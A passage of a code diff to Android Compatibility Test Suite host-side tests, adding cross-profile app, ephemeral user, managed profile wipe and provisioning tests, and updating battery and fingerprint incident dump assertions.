+                        addTestLog(
+                                String.format("system_server_dump.%s.%s.hprof",
+                                        pid, getDevice().getDeviceDate()),
+                                LogDataType.GZIP, source);
+                    } finally {
+                        FileUtil.deleteFile(heapDump);
+                    }
+                } else {
+                    CLog.e("Failed to capture the dumpheap from system_server");
+                }
                 // the call most likely failed we should fail the test
                 fail("'am wait-for-broadcase-idle' did not complete.");
                 // TODO: consider adding a reboot or recovery before failing if necessary
@@ -268,7 +297,16 @@
     }
 
     protected void removeTestUsers() throws Exception {
-        for (int userId : getUsersCreatedByTests()) {
+        List<Integer> usersCreatedByTests = getUsersCreatedByTests();
+
+        // The time spent on stopUser is depend on how busy the broadcast queue is.
+        // To optimize the time to remove multiple test users, we mark all users as
+        // stopping first, so no more broadcasts will be sent to these users, which make the queue
+        // less busy.
+        for (int userId : usersCreatedByTests) {
+            stopUserAsync(userId);
+        }
+        for (int userId : usersCreatedByTests) {
             removeUser(userId);
         }
     }
@@ -807,4 +845,11 @@
         executeShellCommand("input keyevent KEYCODE_WAKEUP");
         executeShellCommand("wm dismiss-keyguard");
     }
+
+    protected void startActivityAsUser(int userId, String packageName, String activityName)
+        throws Exception {
+        wakeupAndDismissKeyguard();
+        String command = "am start -W --user " + userId + " " + packageName + "/" + activityName;
+        getDevice().executeShellCommand(command);
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
new file mode 100644
index 0000000..b1cf3ff
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -0,0 +1,99 @@
+package com.android.cts.devicepolicy;
+
+import java.util.Collections;
+import java.util.Map;
+
+/**
+ * In the test, managed profile and secondary user are created. We then verify
+ * {@link android.content.pm.crossprofile.CrossProfileApps} APIs in different directions, like
+ * primary user to managed profile.
+ */
+public class CrossProfileAppsHostSideTest extends BaseDevicePolicyTest {
+    private static final String TEST_PACKAGE = "com.android.cts.crossprofileappstest";
+    private static final String NON_TARGET_USER_TEST_CLASS = ".CrossProfileAppsNonTargetUserTest";
+    private static final String TARGET_USER_TEST_CLASS = ".CrossProfileAppsTargetUserTest";
+    private static final String PARAM_TARGET_USER = "TARGET_USER";
+    private static final String EXTRA_TEST_APK = "CtsCrossProfileAppsTests.apk";
+
+    private int mProfileId;
+    private int mSecondaryUserId;
+    private boolean mHasManagedUserFeature;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // We need managed users to be supported in order to create a profile of the user owner.
+        mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
+        installAppAsUser(EXTRA_TEST_APK, mPrimaryUserId);
+
+        if (mHasManagedUserFeature) {
+            createAndStartManagedProfile();
+            installAppAsUser(EXTRA_TEST_APK, mProfileId);
+        }
+        if (mSupportsMultiUser) {
+            mSecondaryUserId = createUser();
+            installAppAsUser(EXTRA_TEST_APK, mSecondaryUserId);
+        }
+    }
+
+    public void testPrimaryUserToPrimaryUser() throws Exception {
+        verifyCrossProfileAppsApi(mPrimaryUserId, mPrimaryUserId, NON_TARGET_USER_TEST_CLASS);
+    }
+
+    public void testPrimaryUserToManagedProfile() throws Exception {
+        if (!mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mPrimaryUserId, mProfileId, TARGET_USER_TEST_CLASS);
+    }
+
+    public void testManagedProfileToPrimaryUser() throws Exception {
+        if (!mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mProfileId, mPrimaryUserId, TARGET_USER_TEST_CLASS);
+    }
+
+    public void testPrimaryUserToSecondaryUser() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mPrimaryUserId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+    }
+
+    public void testSecondaryUserToManagedProfile() throws Exception {
+        if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mSecondaryUserId, mProfileId, NON_TARGET_USER_TEST_CLASS);
+
+    }
+
+    public void testManagedProfileToSecondaryUser() throws Exception {
+        if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(mProfileId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+    }
+
+    private void verifyCrossProfileAppsApi(int fromUserId, int targetUserId, String testClass)
+            throws Exception {
+        runDeviceTestsAsUser(
+                TEST_PACKAGE,
+                testClass,
+                null,
+                fromUserId,
+                createTargetUserParam(targetUserId));
+    }
+
+    private void createAndStartManagedProfile() throws Exception {
+        mProfileId = createManagedProfile(mPrimaryUserId);
+        switchUser(mPrimaryUserId);
+        startUser(mProfileId);
+    }
+
+    private Map<String, String> createTargetUserParam(int targetUserId) throws Exception {
+        return Collections.singletonMap(PARAM_TARGET_USER,
+                Integer.toString(getUserSerialNumber(targetUserId)));
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 6b7d89b..600f719 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -253,6 +253,15 @@
         executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState");
     }
 
+    public void testPermissionGrant_developmentPermission() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(
+                ".PermissionsTest", "testPermissionGrantState_developmentPermission");
+    }
+
     /**
      * Require a device for tests that use the network stack. Headless Androids running in
      * data centres might need their network rules un-tampered-with in order to keep the ADB / VNC
@@ -814,6 +823,18 @@
                 Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
     }
 
+    public void testClearApplicationData() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppAsUser(INTENT_RECEIVER_APK, mUserId);
+        runDeviceTestsAsUser(INTENT_RECEIVER_PKG, INTENT_RECEIVER_PKG + ".ClearApplicationDataTest",
+                "testWriteToSharedPreference", mUserId);
+        executeDeviceTestMethod(".ClearApplicationDataTest", "testClearApplicationData");
+        runDeviceTestsAsUser(INTENT_RECEIVER_PKG, INTENT_RECEIVER_PKG + ".ClearApplicationDataTest",
+                "testSharedPreferenceCleared", mUserId);
+    }
+
     protected void executeDeviceTestClass(String className) throws Exception {
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
     }
@@ -904,10 +925,7 @@
      */
     protected void startSimpleActivityAsUser(int userId) throws Exception {
         installAppAsUser(TEST_APP_APK, userId);
-        wakeupAndDismissKeyguard();
-        String command = "am start -W --user " + userId + " " + TEST_APP_PKG + "/"
-                + TEST_APP_PKG + ".SimpleActivity";
-        getDevice().executeShellCommand(command);
+        startActivityAsUser(userId, TEST_APP_PKG, TEST_APP_PKG + ".SimpleActivity");
     }
 
     protected void setScreenCaptureDisabled(int userId, boolean disabled) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 7a07d7c..ba0dcc0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -46,14 +46,14 @@
     private static final String DEVICE_OWNER_COMPONENT = DEVICE_OWNER_PKG + "/"
             + ADMIN_RECEIVER_TEST_CLASS;
 
-    /** The ephemeral users are implemented and supported on the device. */
-    private boolean mHasEphemeralUserFeature;
+    /** Forcing ephemeral users is implemented and supported on the device. */
+    private boolean mHasForceEphemeralUserFeature;
 
     /**
-     * Ephemeral users are implemented, but unsupported on the device (because of missing split
-     * system user).
+     * Force ephemeral users feature is implemented, but unsupported on the device (because of
+     * missing split system user).
      */
-    private boolean mHasDisabledEphemeralUserFeature;
+    private boolean mHasDisabledForceEphemeralUserFeature;
 
     @Override
     protected void setUp() throws Exception {
@@ -67,9 +67,10 @@
                 fail("Failed to set device owner");
             }
         }
-        mHasEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1) && hasUserSplit();
-        mHasDisabledEphemeralUserFeature =
-                mHasFeature && canCreateAdditionalUsers(1) && !hasUserSplit();
+        mHasForceEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1)
+                && hasUserSplit();
+        mHasDisabledForceEphemeralUserFeature = mHasFeature && canCreateAdditionalUsers(1)
+                && !hasUserSplit();
     }
 
     @Override
@@ -125,7 +126,7 @@
 
     /** Tries to toggle the force-ephemeral-users on and checks it was really set. */
     public void testSetForceEphemeralUsers() throws Exception {
-        if (!mHasEphemeralUserFeature) {
+        if (!mHasForceEphemeralUserFeature) {
             return;
         }
         // Set force-ephemeral-users policy and verify it was set.
@@ -136,7 +137,7 @@
      * Setting force-ephemeral-users policy to true without a split system user should fail.
      */
     public void testSetForceEphemeralUsersFailsWithoutSplitSystemUser() throws Exception {
-        if (mHasDisabledEphemeralUserFeature) {
+        if (mHasDisabledForceEphemeralUserFeature) {
             executeDeviceTestMethod(".ForceEphemeralUsersTest", "testSetForceEphemeralUsersFails");
         }
     }
@@ -148,7 +149,7 @@
      * <p>If the current user is the system user, the other users are removed straight away.
      */
     public void testRemoveUsersOnSetForceEphemeralUsers() throws Exception {
-        if (!mHasEphemeralUserFeature) {
+        if (!mHasForceEphemeralUserFeature) {
             return;
         }
 
@@ -171,7 +172,7 @@
      * before all other users are removed.
      */
     public void testRemoveUsersOnSetForceEphemeralUsersWithUserSwitch() throws Exception {
-        if (!mHasEphemeralUserFeature) {
+        if (!mHasForceEphemeralUserFeature) {
             return;
         }
 
@@ -206,7 +207,7 @@
 
     /** The users created after setting force-ephemeral-users policy to true must be ephemeral. */
     public void testCreateUserAfterSetForceEphemeralUsers() throws Exception {
-        if (!mHasEphemeralUserFeature) {
+        if (!mHasForceEphemeralUserFeature) {
             return;
         }
 
@@ -221,7 +222,7 @@
      * Test creating an epehemeral user using the DevicePolicyManager's createAndManageUser method.
      */
     public void testCreateAndManageEphemeralUser() throws Exception {
-        if (!mHasEphemeralUserFeature) {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
         }
 
@@ -236,17 +237,6 @@
         assertEquals("Ephemeral flag must be set", FLAG_EPHEMERAL, flags & FLAG_EPHEMERAL);
     }
 
-    /**
-     * Test that creating an epehemeral user using the DevicePolicyManager's createAndManageUser
-     * method fails on systems without the split system user.
-     */
-    public void testCreateAndManageEphemeralUserFailsWithoutSplitSystemUser() throws Exception {
-        if (mHasDisabledEphemeralUserFeature) {
-            executeDeviceTestMethod(
-                    ".CreateAndManageUserTest", "testCreateAndManageEphemeralUserFails");
-        }
-    }
-
 // Disabled due to b/29072728
 //    public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
 //        if (mHasCreateAndManageUserFeature) {
@@ -276,6 +266,13 @@
         }
     }
 
+    public void testCreateAndManageUser_StartUserInBackground() throws Exception {
+        if (mHasFeature && canCreateAdditionalUsers(1)) {
+            executeDeviceTestMethod(".CreateAndManageUserTest",
+                    "testCreateAndManageUser_StartUserInBackground");
+        }
+    }
+
     public void testUserAddedOrRemovedBroadcasts() throws Exception {
         if (mHasFeature && canCreateAdditionalUsers(1)) {
             executeDeviceTestMethod(".CreateAndManageUserTest",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
index df4a47c..84bdd7d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
@@ -17,7 +17,7 @@
 package com.android.cts.devicepolicy;
 
 /**
- * Tests for emphemeral users and profiles.
+ * Tests for ephemeral users and profiles.
  */
 public class EphemeralUserTest extends BaseDevicePolicyTest {
 
@@ -35,7 +35,7 @@
 
     /** The user should have the ephemeral flag set if it was created as ephemeral. */
     public void testCreateEphemeralUser() throws Exception {
-        if (!mHasFeature || !hasUserSplit()) {
+        if (!mHasFeature) {
             return;
         }
         int userId = createUser(FLAG_EPHEMERAL);
@@ -59,7 +59,8 @@
      */
     public void testProfileInheritsEphemeral() throws Exception {
         if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")
-                || !hasUserSplit() || !canCreateAdditionalUsers(2)) {
+                || !canCreateAdditionalUsers(2)
+                || !hasUserSplit()) {
             return;
         }
         int userId = createUser(FLAG_EPHEMERAL);
@@ -72,7 +73,7 @@
      * Ephemeral user should be automatically removed after it is stopped.
      */
     public void testRemoveEphemeralOnStop() throws Exception {
-        if (!mHasFeature || !hasUserSplit()) {
+        if (!mHasFeature) {
             return;
         }
         int userId = createUser(FLAG_EPHEMERAL);
@@ -87,7 +88,7 @@
      * and not ephemeral when the feature is not set.
      */
     public void testEphemeralGuestFeature() throws Exception {
-        if (!mHasFeature || !hasUserSplit()) {
+        if (!mHasFeature) {
             return;
         }
         // Create a guest user.
@@ -103,20 +104,6 @@
         }
     }
 
-    /**
-     * Test that creating an ephemeral user fails on systems without the split system user.
-     */
-    public void testCreateEphemeralWithoutUserSplitFails() throws Exception {
-        if (!mHasFeature || hasUserSplit()) {
-            return;
-        }
-        String command ="pm create-user --ephemeral " + "TestUser_" + System.currentTimeMillis();
-        String commandOutput = getDevice().executeShellCommand(command);
-
-        assertEquals("Creating the epehemeral user should fail.",
-                "Error: couldn't create User.", commandOutput.trim());
-    }
-
     private boolean getGuestUsersEphemeral() throws Exception {
         String commandOutput = getDevice().executeShellCommand("dumpsys user");
         String[] outputLines = commandOutput.split("\n");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
index ef7099b..b71c4c87 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -15,8 +15,6 @@
  */
 package com.android.cts.devicepolicy;
 
-import org.junit.Test;
-
 /**
  * This class tests the provisioning flow with an APK that declares a single receiver with
  * BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
@@ -54,7 +52,6 @@
         super.tearDown();
     }
 
-    @Test
     public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
index fa3627a..93a17e0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
@@ -111,6 +111,17 @@
                 "testAccountExist", mParentUserId);
     }
 
+    public void testWebview() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        // We start an activity containing WebView in another process and run provisioning to
+        // test that the process is not killed.
+        startActivityAsUser(mParentUserId, MANAGED_PROFILE_PKG, ".WebViewActivity");
+        provisionManagedProfile();
+    }
+
     private void provisionManagedProfile() throws Exception {
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
                 "testProvisionManagedProfile", mParentUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 157c59c..8f4f900 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -138,6 +138,29 @@
                 mProfileUserId);
     }
 
+    public void testWipeDataWithReason() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        assertTrue(listUsers().contains(mProfileUserId));
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG,
+                ".WipeDataTest",
+                "testWipeDataWithReason",
+                mProfileUserId);
+        // Note: the managed profile is removed by this test, which will make removeUserCommand in
+        // tearDown() to complain, but that should be OK since its result is not asserted.
+        assertUserGetsRemoved(mProfileUserId);
+        // testWipeDataWithReason() removes the managed profile,
+        // so it needs to separated from other tests.
+        // Check the notification is presented after work profile got removed, so profile user no
+        // longer exists, verification should be run in primary user.
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG,
+                ".WipeDataWithReasonVerificationTest",
+                mParentUserId);
+    }
+
     /**
      *  wipeData() test removes the managed profile, so it needs to separated from other tests.
      */
@@ -147,7 +170,8 @@
         }
         assertTrue(listUsers().contains(mProfileUserId));
         runDeviceTestsAsUser(
-                MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".WipeDataTest", mProfileUserId);
+                MANAGED_PROFILE_PKG, ".WipeDataTest",
+                "testWipeData", mProfileUserId);
         // Note: the managed profile is removed by this test, which will make removeUserCommand in
         // tearDown() to complain, but that should be OK since its result is not asserted.
         assertUserGetsRemoved(mProfileUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
new file mode 100644
index 0000000..cf02aef
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
@@ -0,0 +1,8 @@
+//package com.android.cts.devicepolicy.crossprofile;
+//
+//import com.android.cts.devicepolicy.BaseDevicePolicyTest;
+//
+//public class CrossProfileAppsManagedProfileTest extends BaseDevicePolicyTest {
+//
+//
+//}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 4d51330..6d341c8 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -723,7 +723,8 @@
                 for (int i = 0; i < TIMESTAMP_COUNT; i++) {
                     numparts[i] = assertInteger(parts[i]);
                 }
-                if (numparts[0] != 0) {
+                // Flags = 1 just means the first frame of the window
+                if (numparts[0] != 0 && numparts[0] != 1) {
                     continue;
                 }
                 // assert VSYNC >= INTENDED_VSYNC
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.mk b/hostsidetests/incident/apps/procstatsapp/Android.mk
new file mode 100644
index 0000000..a02c29d
--- /dev/null
+++ b/hostsidetests/incident/apps/procstatsapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsProcStatsProtoApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
new file mode 100644
index 0000000..a0cccb4
--- /dev/null
+++ b/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.server.cts.procstats" >
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".SimpleActivity" android:exported="true" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.server.cts.procstats" />
+</manifest>
diff --git a/hostsidetests/incident/apps/procstatsapp/src/com/android/server/cts/procstats/SimpleActivity.java b/hostsidetests/incident/apps/procstatsapp/src/com/android/server/cts/procstats/SimpleActivity.java
new file mode 100644
index 0000000..69ff75e
--- /dev/null
+++ b/hostsidetests/incident/apps/procstatsapp/src/com/android/server/cts/procstats/SimpleActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.procstats;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.lang.Override;
+
+public class SimpleActivity extends Activity {
+
+    private static final String TAG = "ProcstatsAppRunningTest";
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        Log.i(TAG, "Procstats app is running");
+    }
+}
+
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index 4b83b0a..28000e0 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -16,6 +16,7 @@
 
 package com.android.server.cts;
 
+import android.os.BatteryManagerProto;
 import android.service.battery.BatteryServiceDumpProto;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
@@ -37,10 +38,10 @@
             return;
         }
 
-        assertTrue(
-                dump.getPlugged()
-                        != BatteryServiceDumpProto.BatteryPlugged.BATTERY_PLUGGED_WIRELESS);
-        assertTrue(dump.getChargeCounter() > 0);
+        assertTrue(dump.getPlugged() != BatteryManagerProto.PlugType.PLUG_TYPE_WIRELESS);
+        assertTrue(dump.getMaxChargingCurrent() >= 0);
+        assertTrue(dump.getMaxChargingVoltage() >= 0);
+        assertTrue(dump.getChargeCounter() >= 0);
         assertTrue(
                 dump.getStatus() != BatteryServiceDumpProto.BatteryStatus.BATTERY_STATUS_INVALID);
         assertTrue(
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 57d64bb..386c324 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -15,14 +15,9 @@
  */
 package com.android.server.cts;
 
-import com.android.ddmlib.IShellOutputReceiver;
 import com.android.tradefed.log.LogUtil;
 
-import com.google.common.base.Charsets;
-
 import java.util.Random;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Test for "dumpsys batterystats -c
@@ -710,64 +705,6 @@
     }
 
     /**
-    * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
-    * the given tag.
-    * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
-    * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
-    */
-    private void checkLogcatForText(String logcatTag, String text, int maxTimeMs) {
-        IShellOutputReceiver receiver = new IShellOutputReceiver() {
-            private final StringBuilder mOutputBuffer = new StringBuilder();
-            private final AtomicBoolean mIsCanceled = new AtomicBoolean(false);
-
-            @Override
-            public void addOutput(byte[] data, int offset, int length) {
-                if (!isCancelled()) {
-                    synchronized (mOutputBuffer) {
-                        String s = new String(data, offset, length, Charsets.UTF_8);
-                        mOutputBuffer.append(s);
-                        if (checkBufferForText()) {
-                            mIsCanceled.set(true);
-                        }
-                    }
-                }
-            }
-
-            private boolean checkBufferForText() {
-                if (mOutputBuffer.indexOf(text) > -1) {
-                    return true;
-                } else {
-                    // delete all old data (except the last few chars) since they don't contain text
-                    // (presumably large chunks of data will be added at a time, so this is
-                    // sufficiently efficient.)
-                    int newStart = mOutputBuffer.length() - text.length();
-                    if (newStart > 0) {
-                        mOutputBuffer.delete(0, newStart);
-                    }
-                    return false;
-                }
-            }
-
-            @Override
-            public boolean isCancelled() {
-                return mIsCanceled.get();
-            }
-
-            @Override
-            public void flush() {
-            }
-        };
-
-        try {
-            // Wait for at most maxTimeMs for logcat to display the desired text.
-            getDevice().executeShellCommand(String.format("logcat -s %s -e '%s'", logcatTag, text),
-                    receiver, maxTimeMs, TimeUnit.MILLISECONDS, 0);
-        } catch (com.android.tradefed.device.DeviceNotAvailableException e) {
-            System.err.println(e);
-        }
-    }
-
-    /**
      * Returns the bytes downloaded for the wifi transfer download tests.
      * @param requestCode the output of executeForeground() or executeBackground() to identify in
      *                    the logcat the line associated with the desired download information
diff --git a/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
index 9e32e1c..ed87f11 100644
--- a/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
@@ -16,9 +16,9 @@
 
 package com.android.server.cts;
 
-import android.service.fingerprint.FingerprintActionStatsProto;
-import android.service.fingerprint.FingerprintServiceDumpProto;
-import android.service.fingerprint.FingerprintUserStatsProto;
+import com.android.server.fingerprint.FingerprintServiceDumpProto;
+import com.android.server.fingerprint.FingerprintUserStatsProto;
+import com.android.server.fingerprint.PerformanceStatsProto;
 
 import com.android.tradefed.log.LogUtil.CLog;
 
@@ -27,12 +27,7 @@
  * Test to check that the fingerprint service properly outputs its dump state.
  */
 public class FingerprintIncidentTest extends ProtoDumpTestCase {
-    /**
-     * Test that no fingerprints are registered.
-     *
-     * @throws Exception
-     */
-    public void testNoneRegistered() throws Exception {
+    public void testFingerprintServiceDump() throws Exception {
         // If the device doesn't support fingerprints, then pass.
         if (!getDevice().hasFeature("android.hardware.fingerprint")) {
             CLog.d("Bypass as android.hardware.fingerprint is not supported.");
@@ -42,24 +37,28 @@
         final FingerprintServiceDumpProto dump =
                 getDump(FingerprintServiceDumpProto.parser(), "dumpsys fingerprint --proto");
 
-        // One of them
-        assertEquals(1, dump.getUsersCount());
+        // There should be at least one user.
+        assertTrue(1 <= dump.getUsersCount());
 
-        final FingerprintUserStatsProto userStats = dump.getUsers(0);
-        assertEquals(0, userStats.getUserId());
-        assertEquals(0, userStats.getNumFingerprints());
+        for (int i = 0; i < dump.getUsersCount(); ++i) {
+            final FingerprintUserStatsProto userStats = dump.getUsers(i);
+            assertTrue(0 <= userStats.getUserId());
+            assertTrue(0 <= userStats.getNumFingerprints());
 
-        final FingerprintActionStatsProto normal = userStats.getNormal();
-        assertEquals(0, normal.getAccept());
-        assertEquals(0, normal.getReject());
-        assertEquals(0, normal.getAcquire());
-        assertEquals(0, normal.getLockout());
+            final PerformanceStatsProto normal = userStats.getNormal();
+            assertTrue(0 <= normal.getAccept());
+            assertTrue(0 <= normal.getReject());
+            assertTrue(0 <= normal.getAcquire());
+            assertTrue(0 <= normal.getLockout());
+            assertTrue(0 <= normal.getPermanentLockout());
 
-        final FingerprintActionStatsProto crypto = userStats.getCrypto();
-        assertEquals(0, crypto.getAccept());
-        assertEquals(0, crypto.getReject());
-        assertEquals(0, crypto.getAcquire());
-        assertEquals(0, crypto.getLockout());
+            final PerformanceStatsProto crypto = userStats.getCrypto();
+            assertTrue(0 <= crypto.getAccept());
+            assertTrue(0 <= crypto.getReject());
+            assertTrue(0 <= crypto.getAcquire());
+            assertTrue(0 <= crypto.getLockout());
+            assertTrue(0 <= crypto.getPermanentLockout());
+        }
     }
 }
 
diff --git a/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
